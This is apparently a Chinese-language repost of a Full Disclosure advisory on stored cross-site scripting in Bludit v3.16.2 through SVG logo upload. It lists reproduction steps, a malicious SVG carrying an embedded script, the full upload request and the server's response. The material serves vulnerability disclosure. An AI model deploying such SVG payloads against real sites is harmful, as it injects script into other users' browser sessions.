Bludit v3.16.2 SVG文件上传导致的XSS漏洞分析

本文详细分析了Bludit v3.16.2中通过SVG文件上传导致的跨站脚本(XSS)漏洞,包括漏洞复现步骤、恶意SVG代码示例以及HTTP请求和响应数据,帮助开发者和安全研究人员理解和防范此类安全风险。

通过SVG文件上传导致的XSS漏洞 - Bludit v3.16.2

作者: Andrey Stoykov
日期: 2025年7月
版本: 3.16.2
测试环境: Debian 12
博客: https://msecureltd.blogspot.com/

XSS via SVG文件上传 #1

复现步骤

  1. 使用管理员账户登录,点击“General” > “Logo”
  2. 上传包含以下恶意代码的SVG文件:
1
2
3
4
5
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="100" height="100" version="1.1" xmlns="http://www.w3.org/2000/svg">
  <script type="text/javascript">alert('xss');</script>
</svg>

HTTP POST请求上传SVG文件

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
POST /bludit/admin/ajax/logo-upload HTTP/1.1
Host: 192.168.58.133
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
[...]

------geckoformboundarye27e3ffc54c763baa293ac2aeb3ed1a4
Content-Disposition: form-data; name="tokenCSRF"

59fc6f48ad5d60b39699491cada2390e1b42531b
------geckoformboundarye27e3ffc54c763baa293ac2aeb3ed1a4
Content-Disposition: form-data; name="inputFile"; filename="evilsvgfile-xss-bypass.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="100" height="100" version="1.1" xmlns="http://www.w3.org/2000/svg">
  <script type="text/javascript">alert('xss');</script>
</svg>
------geckoformboundarye27e3ffc54c763baa293ac2aeb3ed1a4--

HTTP响应

1
2
3
4
5
6
7
HTTP/1.1 200 OK
Date: Sat, 28 Jun 2025 21:16:10 GMT
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev Perl/v5.16.3
X-Powered-By: PHP/5.6.40
[...]

{"status":0,"message":"Image uploaded.","filename":"test.svg","absoluteURL":"http:\/\/192.168.58.133\/bludit\/bl-content\/uploads\/test.svg","absolutePath":"\/opt\/lampp\/htdocs\/bludit\/bl-content\/uploads\/test.svg"}

通过Full Disclosure邮件列表发送
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计